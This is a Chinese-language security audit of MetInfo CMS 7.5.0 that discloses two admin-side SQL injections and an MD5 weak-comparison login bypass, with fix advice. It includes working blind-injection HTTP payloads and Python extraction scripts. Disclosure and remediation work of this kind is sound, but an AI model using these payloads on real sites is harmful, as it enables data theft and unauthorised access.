MetInfo CMS代码审计-PHP
字数 1425 2025-08-24 23:51:18

MetInfo CMS 7.5.0 安全审计报告

环境说明

  • 操作系统:Windows 10
  • 开发环境:Phpstuby
  • PHP版本:7.2.9
  • CMS版本:MetInfo 7.5.0

目录结构

|-- about
|-- about1
|-- admin
|-- app
|-- cache
|-- case
|-- config
|-- download
|-- favicon.ico
|-- feedback
|-- hits
|-- img
|-- include
|-- index.php
|-- install
|-- job
|-- member
|-- message
|-- news
|-- online
|-- product
|-- public
|-- robots.txt
|-- search
|-- sitemap
|-- tags
|-- templates
|-- upload

漏洞分析

1. SQL注入漏洞 (doDelParas函数)

漏洞位置

  • 控制器文件:app/system/user/admin/parameter.class.php
  • 数据库操作文件:app/system/parameter/include/class/parameter_database.class.php
  • MySQL操作文件:app/system/include/class/mysql.class.php

漏洞分析

  1. doDelParas函数接收表单的id参数
  2. 参数直接传递给delete_para_value方法
  3. delete_para_value函数中,id被直接拼接到SQL语句中
  4. 最终通过DB::query($query)执行

利用条件

  • 需要管理员权限
  • 需要有效的met_authmet_key Cookie

利用Payload

POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
Host: cms.cn
Content-Length: 60
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;

id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)

自动化利用脚本

import requests

url = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"
headers = {
    "Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
proxies = {"http": None}
req = requests.session()
result = ''

for mid in range(15):
    for i in range(30, 150):
        data = "id[]=164+and+if((select ascii(substr(user(), %d ,1)))= %d ,sleep(1),0)" % (mid, i)
        resp = req.post(url, data=data, headers=headers, proxies=proxies)
        if resp.elapsed.total_seconds() > 1.5:
            result += chr(i)
            print(result)

2. SQL注入漏洞 (doparasave函数)

漏洞位置

  • 控制器文件:app/system/parameter/admin/parameter_admin.class.php
  • 数据库操作文件:app/system/parameter/include/class/parameter_database.class.php

漏洞分析

  1. doparasave函数调用table_para方法
  2. table_para方法接收$_M['form']$_M['form']['module']参数
  3. 通过构造特定表单数据,可以触发insert_para_list方法
  4. add_para_value方法中,$option['module']被直接拼接到SQL语句且无引号保护

利用条件

  • 需要管理员权限
  • 需要构造特定的表单数据

利用Payload

POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1
Host: cms.cn
Content-Length: 126
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;

allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)

自动化利用脚本

import requests

url = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"
headers = {
    "Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
proxies = {"http": None}
req = requests.session()
result = ''

for mid in range(15):
    for i in range(30, 150):
        data = "allid=a&submit_type=save&type-a=6&options-a={\"0\":{\"0\":\"0\"}}&module=-1 or if((select ascii(mid(user(), %d ,1)))= %d ,sleep(0.03),1)" % (mid, i)
        resp = req.post(url, data=data, headers=headers, proxies=proxies)
        if resp.elapsed.total_seconds() > 0.8:
            result += chr(i)
            print(result)

3. MD5弱类型比较漏洞

漏洞位置

  • 登录控制器:app/system/user/web/login.class.php
  • 用户类文件:app/system/include/class/user.class.php

漏洞分析

  1. dologin函数调用login方法处理登录
  2. login_by_password方法获取用户数据并验证密码
  3. 密码验证使用==进行MD5比较,存在弱类型比较问题
  4. 当MD5哈希以"0e"开头时,PHP会将其视为科学计数法的0

利用条件

  • 需要注册一个密码MD5值为"0e"开头的账户
  • 登录时使用另一个MD5值为"0e"开头的字符串作为密码

漏洞复现步骤

  1. 注册账号"abab",密码设置为MD5加密后为"0e"开头的字符串
  2. 登录时使用另一个MD5值为"0e"开头的字符串作为密码

总结

  1. 发现的漏洞主要集中在后台管理功能
  2. 前台防护相对严格
  3. 所有发现的漏洞均已提交CNVD收录
  4. 主要漏洞类型:
    • 未过滤的用户输入直接拼接SQL语句
    • 弱类型比较导致的认证绕过

修复建议

  1. 对所有用户输入进行严格的过滤和转义
  2. 使用预处理语句替代直接SQL拼接
  3. 密码比较使用严格比较(===)
  4. 加强后台权限验证机制
MetInfo CMS 7.5.0 安全审计报告 环境说明 操作系统:Windows 10 开发环境:Phpstuby PHP版本:7.2.9 CMS版本:MetInfo 7.5.0 目录结构 漏洞分析 1. SQL注入漏洞 (doDelParas函数) 漏洞位置 : 控制器文件: app/system/user/admin/parameter.class.php 数据库操作文件: app/system/parameter/include/class/parameter_database.class.php MySQL操作文件: app/system/include/class/mysql.class.php 漏洞分析 : doDelParas 函数接收表单的 id 参数 参数直接传递给 delete_para_value 方法 在 delete_para_value 函数中, id 被直接拼接到SQL语句中 最终通过 DB::query($query) 执行 利用条件 : 需要管理员权限 需要有效的 met_auth 和 met_key Cookie 利用Payload : 自动化利用脚本 : 2. SQL注入漏洞 (doparasave函数) 漏洞位置 : 控制器文件: app/system/parameter/admin/parameter_admin.class.php 数据库操作文件: app/system/parameter/include/class/parameter_database.class.php 漏洞分析 : doparasave 函数调用 table_para 方法 table_para 方法接收 $_M['form'] 和 $_M['form']['module'] 参数 通过构造特定表单数据,可以触发 insert_para_list 方法 在 add_para_value 方法中, $option['module'] 被直接拼接到SQL语句且无引号保护 利用条件 : 需要管理员权限 需要构造特定的表单数据 利用Payload : 自动化利用脚本 : 3. MD5弱类型比较漏洞 漏洞位置 : 登录控制器: app/system/user/web/login.class.php 用户类文件: app/system/include/class/user.class.php 漏洞分析 : dologin 函数调用 login 方法处理登录 login_by_password 方法获取用户数据并验证密码 密码验证使用 == 进行MD5比较,存在弱类型比较问题 当MD5哈希以"0e"开头时,PHP会将其视为科学计数法的0 利用条件 : 需要注册一个密码MD5值为"0e"开头的账户 登录时使用另一个MD5值为"0e"开头的字符串作为密码 漏洞复现步骤 : 注册账号"abab",密码设置为MD5加密后为"0e"开头的字符串 登录时使用另一个MD5值为"0e"开头的字符串作为密码 总结 发现的漏洞主要集中在后台管理功能 前台防护相对严格 所有发现的漏洞均已提交CNVD收录 主要漏洞类型: 未过滤的用户输入直接拼接SQL语句 弱类型比较导致的认证绕过 修复建议 对所有用户输入进行严格的过滤和转义 使用预处理语句替代直接SQL拼接 密码比较使用严格比较(===) 加强后台权限验证机制